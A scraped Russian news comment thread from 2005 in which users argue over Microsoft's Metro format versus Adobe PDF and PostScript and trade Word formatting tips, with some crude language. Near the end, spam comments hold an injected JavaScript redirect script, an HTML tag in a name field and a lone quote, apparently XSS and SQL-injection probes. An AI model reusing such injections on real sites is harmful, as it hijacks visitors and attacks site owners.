![]() |
![]() |
|
Место для Вашей рекламы!
|
![]()
|
2005-06-13 | Microsoft предлагает бета-версию конкурента Adobe Photoshop/Illustrator | |
2005-09-05 | Сервер Adobe делает PDF-документы умнее | |
2005-10-04 | Microsoft поддержит формат PDF в Office 12 |
Обсуждение и комментарии |
![]() |
![]() | zenith 4 May 2005 1:33 PM |
Metro - это вариация на тему "как бы нам ещё раз подпадлить конкурентам путём навязывания очередного запатентованного формата". | |
| |
![]() | добрый 4 May 2005 2:10 PM |
Вы пишете софт под Windows? Ваш софт отлично продается? Хотите конкурировать с Microsoft? Не хотите? Все равно придется! >некоторые преимущества системы Metro, включая возможность создания файлов, занимающих меньше места по сравнению с другими файлами документов фиксированного формата. Для этого Metro ищет повторяющиеся данные. Писали бы проще - в MS изобрели встроенный архиватор. | |
| |
![]() | Ender 4 May 2005 2:11 PM |
Давно мечтаю чтобы Adobe кто нить подвинул, и хорошенько подвинул... разумеется только в том случае, если формат этого самого метро будет открытым и, самое главное, простым. | |
| |
![]() | dr-Wicked 4 May 2005 2:15 PM |
Опять полная чушь. Вспоминается мне Оруєловский 1984. Только из комьютеров за всеми подглядьівает дядя Билл. Метро больше заменитель PostScript чем PDF, во вторьіх он его не заменяет, он призван модернизировать подсистему GDI в печати. А базировать ключевьіе компонентьі системьі на разработках Adobe дядя Билл, равно как и Стив не хотят, после того, как на заре юности господа из Adobe у них требовали $10 за шрифтьі PostScript. PS(none PostScript but Post Scriptum) Перед переводом не плохо сначала читать по теме. | |
| |
![]() | нц 4 May 2005 2:22 PM |
а разве PDF не патентованный? в какой версии создаются PDF тем же старофисом? | |
| |
![]() | dr-Wicked 4 May 2005 2:25 PM |
2 нц с ООо 1, по sun не помню | |
| |
![]() | Linfan 4 May 2005 4:04 PM |
Ender: Adobe двигать нет смысла - разве что в Open Source. Их форматы открытые, а вот мелкие если вломятся, то фиг ты найдешь сразу полные спецификации. MS полностью совместима только с MS :) | |
| |
![]() | Linfan 4 May 2005 4:12 PM |
"система сохраняет лишь те символы шрифтов", сжатие файла, использование в качестве основы для печати... Мелкие просто дерут с PDF самое необходимое :) А остальные фичи добавять потом, "по просьбам трудящихся":-) | |
| |
![]() | Не Лох 4 May 2005 7:48 PM |
Слава богу ! Такой уебищный формат как PDF еще поискать. Я плотно работаю с PDF уже несколько лет. Добрался бы, яйца оторвал его авторам. Надеюсь МС предложит что нибудь получше. | |
| |
![]() | Linfan 4 May 2005 8:07 PM |
"Добрался бы, яйца оторвал его авторам. Надеюсь МС предложит что нибудь получше." Не переживай - доберется MS до тебя - точно оторветь новым форматом.:) А PDF нормальный формат. Мелкие ничего нового не изобретут. Лишь криво передерут. С pdf кстати тоже не вчера познакомился, так что опыт есть. | |
| |
![]() | ммм 4 May 2005 8:43 PM |
Ниче не понимаю. А чем формат .DOC плох? | |
| |
![]() | Denis Volkov 4 May 2005 9:09 PM |
.doc плох тем, что он по-разному выглядит не то, что на разных машинах, но даже на одинаковом железе (HP), с одинаковой ОС... Если кто-то с этим не сталкивался, то это лишь означает, что либо он как следует с word не работал, либо говорит "не то, что есть на самом деле". К слову, как в word создать стилевую разметку документа, с пронумерованными иерархически заголовками и пронумерованными от уровня заголовка абзацами? Размер шрифта и пр. у всех стилей разные. 1 Заголовок1 1.1 Заголовок11 1.1.1 Абзац111 1.1.2 Абзац112 2 Заголовок2 2.1 Абзац21 2.2 Абзац22 ... Уровень вложенности до 3-го. С реализацией лишь первого уровня просьба не беспокоить. Колотить номера руками и т.п. решением не являются. | |
| |
![]() | Linfan 4 May 2005 9:29 PM |
ммм: ты наверное имел ввиду DOCBOOK? :) | |
| |
![]() | 00alex 4 May 2005 10:41 PM |
2 Denis Volkov э... а многоуровневый список чем плох? Стили там определяются через меню "формат/список/многоуровневый/изменить" | |
| |
![]() | Илья 5 May 2005 7:00 AM |
PDF - на помойку. Он отвратителен во всем. Содержимое документов не индексируется для поиска. PDF-формы для заполнения - мучение, т.к. невозможно сохранять введенные данные. PDF документы неудобно читать с монитора, когда доходишь до конца страницы, большую часть экрана занимают поля листов и щель между ними, нет возможности ставить закладки. Я в курсе, что эти проблемы можно обойти с помощью инструментов третьих фирм, но геморрой обеспечен в любом случае. | |
| |
![]() | Black Bat 5 May 2005 8:56 AM |
to Denis Volkov: ну ты бы не позорился бы так, да! Format->Styles and Formatting... а там Modify->Format->Numbering | |
| |
![]() | Viper 5 May 2005 9:30 AM |
to Илья: Для формата, ориентированного на переносимость при печати, ваши претензии неуместны. | |
| |
![]() | dr-Wicked 5 May 2005 9:57 AM |
Господа, вьіздоравливайте и больше не пейте. Для Вас пасха закончилась. | |
| |
![]() | Ender 5 May 2005 10:49 AM |
Работать с PDF не удобно. Это фактически бинарный формат данных, из которого изредка проглядывают куски читаемого текста. Работаю с ним не очень давно, но с удовольствием заменил бы его на что-то более простое по структуре - тот-же XML. | |
| |
![]() | x 5 May 2005 1:28 PM |
2 Viper: к сожалению, это г. приходится читать с экрана. Некоторые г. предоставляют документацию только в таком г. формате. Печатать же десятки тысяч страниц неудобно, да к тому же бумажные книги еще большее зло, чем PDF - и места много занимают, и поиска нет, и словарь электронный не пришьешь. | |
| |
![]() | Skull - sibskull![]() 5 May 2005 1:34 PM |
2Илья: > PDF - на помойку. Он отвратителен во всем. Содержимое > документов не индексируется для поиска. Ну кто виноват, что ваша ОС с PDF нормально не позволяет работать? Почему у меня и поиск работает и экспорт всего текста с форматированием в KWord и печать в PDF из любых программ "из коробки". Есть и средства индексации PDF, в том числе и под Windows. Не надо по своей отсталой ОСи судить о PDF. ;) | |
| |
![]() | Chkaloff 5 May 2005 2:13 PM |
2 Skull: Кто о чем, а вшивый о бане... Ну причем тут ос, когда Adobe Acrobat Viewer, писала Adobe? Все что показывается на экране и как показывается - это дело Adobe. | |
| |
![]() | добрый 5 May 2005 2:21 PM |
а при чем здесь Viewer? В заголовке ясно написано "формат PDF". | |
| |
![]() | Macuser 5 May 2005 3:26 PM |
В Мак ОС Х с ПДФ все путем ! | |
| |
![]() | Linfan 5 May 2005 5:02 PM |
Ender: А лучше - освой PDF :) Именно PDF а не Adobe Acrobat. Например, ты в курсе, что "Это фактически бинарный формат данных, из которого изредка проглядывают куски читаемого текста" только лишь потому, что stream в нем компрессирован? Так можно и zip назвать отстоем - он же не читабелен:) Хочешь прочесть PDF? Раскомпрессируй его и всех делов то. Тулза для этого - pdftk, опенсорсная. | |
| |
![]() | sm4 - post314![]() 5 May 2005 5:40 PM |
Да всё проще гораздо. Надо только купить полный пакет Adobe Creative Suite в зелёной коробке за 1200$ . Там всё работает. Цена конечно хуже чем у MS Office. Но это и понятно, Жигули и Мерседес не должны стоить одинаково. | |
| |
![]() | ммм 5 May 2005 7:28 PM |
Не знаю, что у вас там с ПДФ нормально, но вот что править его нельзя - меня раздражает. Партнеры наши присылают доки в ПДФ, причем ногами сделанные доки, по десять раз приходится просить, чтоб переделали. В результате приходится переделывать самому - заклеивать бумагой бракованые места и в таком виде ксерить. Если б можно было откорректировать текст на месте - ну это был бы просто праздник души. | |
| |
![]() | Linfan 5 May 2005 8:22 PM |
ммм: Еще раз повторюсь - осваивате PDF а не Adobe Acrobat. | |
| |
![]() | ммм 5 May 2005 9:07 PM |
2 LinFan: с чисто практической точки зрения осваивать его мне нет смысла. Лучше уж освою TXT формат :-)) | |
| |
![]() | Denis Volkov 6 May 2005 12:07 AM |
2 Black Bat: Чукча не читатель, чукча читатель. Сами попробуйте решить эту задачу, а потом уже про "позор" пишите... | |
| |
![]() | Denis Volkov 6 May 2005 12:17 AM |
2 Илья: Это не он не индексируется, это руки кривые у тех, кто создаёт документы... У меня и внутри индексируется (указатели, списки литературы, сноски, глоссарии и пр.) и снаружи у google проблем нет. А, вообще, самое обычное явление: вставленные картинками страницы PDF. Или документ с исключёнными шрифтами. Что касается док в pdf, то это правильно. Включаете отображение на полный экран с масштабом по ширине и всё. Никаких съезжающих полей, заголовков, стилей, вирусов и пр. | |
| |
![]() | Black Bat 6 May 2005 8:52 AM |
to Denis Volkov: ещё раз повторяю - не позорься! а запусти ворд и следуй указанному направлению! | |
| |
![]() | Denis Volkov 6 May 2005 11:17 AM |
2 Black Bat Вы -- ламер. Попробуйте сами решить эту задачу на досуге. 2 all: При использовании стандартных нумераторов эта задача неразрешима, т.к. внутри одного нумератора нельзя к одному уровню нумерации привязать несколько стилей. | |
| |
![]() | Denis Volkov 6 May 2005 11:18 AM |
2 tutanhamon > http://news.com.com/2100-1001-271267.html поновее ничего нет? ;)) | |
| |
![]() | Linfan 6 May 2005 11:29 AM |
ммм: Ну так бы сразу и говорил: "Не читал, но осуждаю..." :) А то "формат хреновый... PDF must die". RTFM | |
| |
![]() | Black Bat 6 May 2005 11:32 AM |
to Denis Volkov: даа, всё таки есть настолько упёртые индивидуумы, которые к тому же ворд явно в глаза не видели... я смог это сделать за 2 минуты! И иерархическая нумерация заголовков, и даже разные стили для заголовков одного уровня. Так что в лес! | |
| |
![]() | Имя 6 May 2005 11:40 AM |
У вас есть два одинаковых документа - один в формате DOC, другой - PDF. Какой из них вы выберете для чтения с экрана? Какой для печати? Я не знаю хорош формат PDF или плох, но вот Adobe Reader - полное г. | |
| |
![]() | - 6 May 2005 12:46 PM |
для чтения с экрана - fb2 =) | |
| |
![]() | Denis Volkov 6 May 2005 1:25 PM |
2 Black Bat: Мне нужна не только иерархическая нумерация заголовков, а нумерация абзаца от номера заголовка. В постановке задачи есть пример. Читайте внимательнее. Кстати, я уже объяснил, почему это нельзя сделать. | |
| |
![]() | Denis Volkov 6 May 2005 1:26 PM |
2 Имя > У вас есть два одинаковых документа - один в формате DOC, другой - > PDF.Какой из них вы выберете для чтения с экрана? Какой для печати? Разумеется, PDF. И для чтения и тем более для печати. | |
| |
![]() | добрый 6 May 2005 2:10 PM |
MS удастся облапошить Адобу, как это уже было с суперкалк, лотус1-2-3, ворд пёрфект, нетскэйп, НДС, етс,етс, етс. | |
| |
![]() | Linfan 6 May 2005 3:34 PM |
добрый: вряд ли удастся. К метро им придется прикрутить что-нибудь вроде фотожопа+иллюстратор. Вот тогда и потянется в метро народ. А так - альтернатива chm с может быть когда-нибудь улучшенной печатью. Постскрипт как был - так и останется. Никто из производителей от него не откажется. Разве что совсем какие-нибудь отстойные чернильные мыльницы домашнего разлива. | |
| |
![]() | dr-Wicked 6 May 2005 4:36 PM |
2 linfan А у Вас есть PS принтер, у нас в конторе на 1000 - 4 | |
| |
![]() | добрый 6 May 2005 5:38 PM |
остальные матричные шо ли? | |
| |
![]() | ммм 6 May 2005 6:43 PM |
2 LinFan: а где я писал, что осуждаю? Я сказал, что осваивать его мне нет смысла. А хорош он или плох - не мне судить, да и не интересно. | |
| |
![]() | Ваш вопрос 7 May 2005 3:19 AM |
когда-то для меня пдф стал откровением -- кончились проблемы с печатью в разных конторах, когда везешь пробы в одно место печатать, кальки в другое, заказчик хочет увидить в третьем месте, да так чтобы белки не везти машиной, по электронке, и все это с диким зоопарком из маков, виндов, пэйджмейкеров и кварков, атэмов и шрифтов. а уж как радовались тому что можно чб пленки выводить зеркалом на обычном лазере без пиэс, и не нужно рипать за бешаные деньги! плюс -- контроль на эргэбэ-фотки делали без печати на белки, это было просто бомба! а уж когда печататься стали за 250 км -- так возить 250 метров пэйджмейкеровского говна машиной либо переслать 30 метров по почте стало существенной разницей. не стало проблем с препрессерами, которые часто что-нить дернут в публикации, а потом доказывай что ты не верблюд. перестали возить за собой вагон шрифтов и боятся что очередная дибильная версия ворованого АТМ оббнопнит заголовочный шрифт на _самой_главной_ странице дома все книги, которые верстаю для себя -- храню в пдф, оч.удобный формат и с экрана читается приятно, а если можно моник на 90 градусов развернуть -- просто книгу читаешь. особенно радует то что аи-формат и пдф -- очень часто одно и тоже. dr-Wicked:А у Вас есть PS принтер, у нас в конторе на 1000 - 4 у нас все либо нэйтив пиэс(и такие остались еще) либо работают через рип либо через купс, тобишь все пиэс, удобно знаете ли, да и побыстрее работает со сложными документами | |
| |
![]() | Zzz.... 7 May 2005 7:30 PM |
в нашей "газетенке" печатающая машина (3х этажная дура) принимает в качестве формата PDF... | |
| |
![]() | IgorM 9 May 2005 2:00 AM |
Господа, подскажите, пожалуйста, где почитать про преимущества ПДФ формата? Что в нем такого особенного, в сравнении, например, с вордовским ДОК форматом? | |
| |
![]() | dr-Wicked 9 May 2005 1:11 PM |
Чего чушь городить. Я не говорил о програмной растеризации. Тоже работал в конторе с отношением PS-GDI 50/50. Угадали, там два принтера. Аппаратный RIP для простенького принтера — это примерно +$300 Полагаю, что у большинства писателей принтер стоит дешевле, чем набор логики. | |
| |
![]() | Shadow 13 May 2005 10:45 AM |
PS рулит. PDF тоже так ничего. | |
| |
![]() | test - test![]() 29 Oct 2005 3:16 PM |
<SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript"> window.location.href="http://www.find.fm/search.php?aid=312 &keyword=j+lo+perfume" </SCRIPT> | |
| |
![]() | <a href=http://google.com>G</a> - sds![]() 29 Oct 2005 3:34 PM |
<SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript"> window.location.href="http://www.find.fm/search.php?aid=312 &keyword=j+lo+perfume" </SCRIPT> | |
| |
![]() | ' - ' 29 Oct 2005 3:41 PM |
' | |
|
← апрель 2005 | 2 3 4 5 6 7 8 9 10 | июнь 2005 → |
Место для Вашей рекламы!